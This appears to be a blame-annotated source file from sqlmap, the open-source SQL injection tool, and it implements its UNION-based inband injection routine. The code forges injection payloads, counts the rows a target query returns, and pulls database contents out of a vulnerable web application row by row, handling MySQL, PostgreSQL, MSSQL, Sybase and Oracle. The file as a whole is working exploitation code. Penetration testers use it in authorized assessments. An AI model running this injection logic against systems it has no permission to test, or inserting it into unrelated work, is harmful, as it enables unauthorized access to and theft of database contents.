2008-10-15 19:38:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2008-10-15 19:56:32 +04:00
|
|
|
$Id$
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-14 18:41:14 +04:00
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
import re
|
2008-10-15 19:38:22 +04:00
|
|
|
import time
|
|
|
|
|
|
|
|
from lib.core.agent import agent
|
2010-05-13 15:05:35 +04:00
|
|
|
from lib.core.common import calculateDeltaSeconds
|
2011-01-06 12:10:20 +03:00
|
|
|
from lib.core.common import clearConsoleLine
|
|
|
|
from lib.core.common import dataToStdout
|
2010-06-02 16:45:40 +04:00
|
|
|
from lib.core.common import getUnicode
|
2011-01-12 01:18:47 +03:00
|
|
|
from lib.core.common import initTechnique
|
2008-12-10 20:23:07 +03:00
|
|
|
from lib.core.common import parseUnionPage
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
2008-12-10 20:23:07 +03:00
|
|
|
from lib.core.data import queries
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2011-01-12 01:18:47 +03:00
|
|
|
from lib.core.enums import PAYLOAD
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.request.connect import Connect as Request
|
2008-12-10 20:23:07 +03:00
|
|
|
from lib.utils.resume import resume
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
reqCount = 0
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2010-11-19 17:56:20 +03:00
|
|
|
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
This function tests for an inband SQL injection on the target
|
|
|
|
url then call its subsidiary function to effectively perform an
|
|
|
|
inband SQL injection on the affected url
|
|
|
|
"""
|
|
|
|
|
2011-01-12 01:18:47 +03:00
|
|
|
initTechnique(PAYLOAD.TECHNIQUE.UNION)
|
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
count = None
|
|
|
|
origExpr = expression
|
|
|
|
start = time.time()
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = None
|
|
|
|
test = True
|
|
|
|
value = ""
|
|
|
|
|
|
|
|
global reqCount
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if resetCounter:
|
2008-12-10 20:23:07 +03:00
|
|
|
reqCount = 0
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if not kb.unionCount:
|
|
|
|
return
|
|
|
|
|
|
|
|
# Prepare expression with delimiters
|
2008-12-10 20:23:07 +03:00
|
|
|
if unescape:
|
2009-04-22 15:48:07 +04:00
|
|
|
expression = agent.concatQuery(expression, unpack)
|
2008-12-10 20:23:07 +03:00
|
|
|
expression = unescaper.unescape(expression)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-12-05 19:16:15 +03:00
|
|
|
if kb.unionNegative and not direct:
|
2009-04-22 15:48:07 +04:00
|
|
|
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
2008-12-10 20:23:07 +03:00
|
|
|
|
|
|
|
# We have to check if the SQL query might return multiple entries
|
|
|
|
# and in such case forge the SQL limiting the query output one
|
|
|
|
# entry per time
|
|
|
|
# NOTE: I assume that only queries that get data from a table can
|
|
|
|
# return multiple entries
|
|
|
|
if " FROM " in expression:
|
2010-10-21 17:13:12 +04:00
|
|
|
limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)
|
2008-12-10 20:23:07 +03:00
|
|
|
|
|
|
|
if limitRegExp:
|
2010-12-04 01:28:09 +03:00
|
|
|
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
|
2010-10-21 17:13:12 +04:00
|
|
|
limitGroupStart = queries[kb.dbms].limitgroupstart.query
|
|
|
|
limitGroupStop = queries[kb.dbms].limitgroupstop.query
|
2008-12-10 20:23:07 +03:00
|
|
|
|
|
|
|
if limitGroupStart.isdigit():
|
|
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
|
2010-12-22 13:39:56 +03:00
|
|
|
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
2010-10-21 17:13:12 +04:00
|
|
|
limitGroupStart = queries[kb.dbms].limitgroupstart.query
|
|
|
|
limitGroupStop = queries[kb.dbms].limitgroupstop.query
|
2009-01-03 02:26:45 +03:00
|
|
|
|
|
|
|
if limitGroupStart.isdigit():
|
|
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
|
2010-11-02 14:59:24 +03:00
|
|
|
elif kb.dbms == DBMS.ORACLE:
|
2008-12-10 20:23:07 +03:00
|
|
|
limitCond = False
|
|
|
|
else:
|
|
|
|
limitCond = True
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
# I assume that only queries NOT containing a "LIMIT #, 1"
|
|
|
|
# (or similar depending on the back-end DBMS) can return
|
|
|
|
# multiple entries
|
|
|
|
if limitCond:
|
|
|
|
if limitRegExp:
|
|
|
|
stopLimit = int(stopLimit)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
# From now on we need only the expression until the " LIMIT "
|
|
|
|
# (or similar, depending on the back-end DBMS) word
|
2010-12-04 01:28:09 +03:00
|
|
|
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
|
2008-12-10 20:23:07 +03:00
|
|
|
stopLimit += startLimit
|
2010-10-21 17:13:12 +04:00
|
|
|
untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
|
2008-12-10 20:23:07 +03:00
|
|
|
expression = expression[:untilLimitChar]
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-12-22 13:39:56 +03:00
|
|
|
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
2009-01-03 03:27:04 +03:00
|
|
|
stopLimit += startLimit
|
2010-04-30 19:48:40 +04:00
|
|
|
elif dump:
|
|
|
|
if conf.limitStart:
|
|
|
|
startLimit = conf.limitStart
|
|
|
|
if conf.limitStop:
|
|
|
|
stopLimit = conf.limitStop
|
2009-01-03 03:27:04 +03:00
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
if not stopLimit or stopLimit <= 1:
|
2010-11-02 14:59:24 +03:00
|
|
|
if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"):
|
2008-12-10 20:23:07 +03:00
|
|
|
test = False
|
|
|
|
else:
|
|
|
|
test = True
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if test:
|
2008-12-10 20:23:07 +03:00
|
|
|
# Count the number of SQL query entries output
|
2010-10-21 17:13:12 +04:00
|
|
|
countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0]
|
2008-12-10 20:23:07 +03:00
|
|
|
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
|
|
|
|
|
|
|
if re.search(" ORDER BY ", expression, re.I):
|
|
|
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
|
|
|
countedExpression = countedExpression[:untilOrderChar]
|
|
|
|
|
|
|
|
count = resume(countedExpression, None)
|
|
|
|
|
|
|
|
if not stopLimit:
|
|
|
|
if not count or not count.isdigit():
|
|
|
|
output = unionUse(countedExpression, direct=True)
|
|
|
|
|
|
|
|
if output:
|
|
|
|
count = parseUnionPage(output, countedExpression)
|
|
|
|
|
|
|
|
if count and count.isdigit() and int(count) > 0:
|
|
|
|
stopLimit = int(count)
|
|
|
|
|
2010-11-23 18:11:15 +03:00
|
|
|
infoMsg = "the SQL query used returns "
|
2008-12-10 20:23:07 +03:00
|
|
|
infoMsg += "%d entries" % stopLimit
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2008-12-17 23:11:18 +03:00
|
|
|
elif count and not count.isdigit():
|
|
|
|
warnMsg = "it was not possible to count the number "
|
2010-11-23 18:11:15 +03:00
|
|
|
warnMsg += "of entries for the used SQL query. "
|
2008-12-17 23:11:18 +03:00
|
|
|
warnMsg += "sqlmap will assume that it returns only "
|
|
|
|
warnMsg += "one entry"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
stopLimit = 1
|
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
elif ( not count or int(count) == 0 ):
|
2010-11-23 18:11:15 +03:00
|
|
|
warnMsg = "the SQL query used does not "
|
2008-12-10 20:23:07 +03:00
|
|
|
warnMsg += "return any output"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return
|
|
|
|
|
|
|
|
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
2010-11-23 18:11:15 +03:00
|
|
|
warnMsg = "the SQL query used does not "
|
2008-12-10 20:23:07 +03:00
|
|
|
warnMsg += "return any output"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return
|
|
|
|
|
2011-01-06 12:48:04 +03:00
|
|
|
try:
|
|
|
|
for num in xrange(startLimit, stopLimit):
|
|
|
|
if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
|
|
|
field = expressionFieldsList[0]
|
|
|
|
elif kb.dbms == DBMS.ORACLE:
|
|
|
|
field = expressionFieldsList
|
|
|
|
else:
|
|
|
|
field = None
|
|
|
|
|
|
|
|
limitedExpr = agent.limitQuery(num, expression, field)
|
|
|
|
output = resume(limitedExpr, None)
|
|
|
|
|
|
|
|
if not output:
|
|
|
|
output = unionUse(limitedExpr, direct=True, unescape=False)
|
|
|
|
|
|
|
|
if output:
|
|
|
|
value += output
|
|
|
|
parseUnionPage(output, limitedExpr)
|
|
|
|
|
|
|
|
if conf.verbose in (1, 2):
|
|
|
|
length = stopLimit - startLimit
|
|
|
|
count = num - startLimit + 1
|
|
|
|
status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
|
|
|
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True)
|
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
print
|
|
|
|
warnMsg = "Ctrl+C detected in dumping phase"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
finally:
|
|
|
|
clearConsoleLine(True)
|
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
return value
|
|
|
|
|
|
|
|
value = unionUse(expression, direct=True, unescape=False)
|
|
|
|
|
|
|
|
else:
|
|
|
|
# Forge the inband SQL injection request
|
2011-01-12 03:47:39 +03:00
|
|
|
query = unescaper.unescape(expression)
|
|
|
|
query = agent.cleanupPayload(kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector, query=query)
|
2008-12-10 20:23:07 +03:00
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
|
|
|
|
# Perform the request
|
2008-12-18 23:48:23 +03:00
|
|
|
resultPage, _ = Request.queryPage(payload, content=True)
|
2008-12-10 20:23:07 +03:00
|
|
|
reqCount += 1
|
|
|
|
|
2010-10-20 03:00:19 +04:00
|
|
|
if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
|
2008-12-10 20:23:07 +03:00
|
|
|
return
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
# Parse the returned page to get the exact inband
|
|
|
|
# sql injection output
|
2010-10-20 03:00:19 +04:00
|
|
|
startPosition = resultPage.index(kb.misc.start)
|
|
|
|
endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
|
2010-06-02 16:45:40 +04:00
|
|
|
value = getUnicode(resultPage[startPosition:endPosition])
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-05-13 15:05:35 +04:00
|
|
|
duration = calculateDeltaSeconds(start)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
|
|
|
|
logger.debug(debugMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
return value
|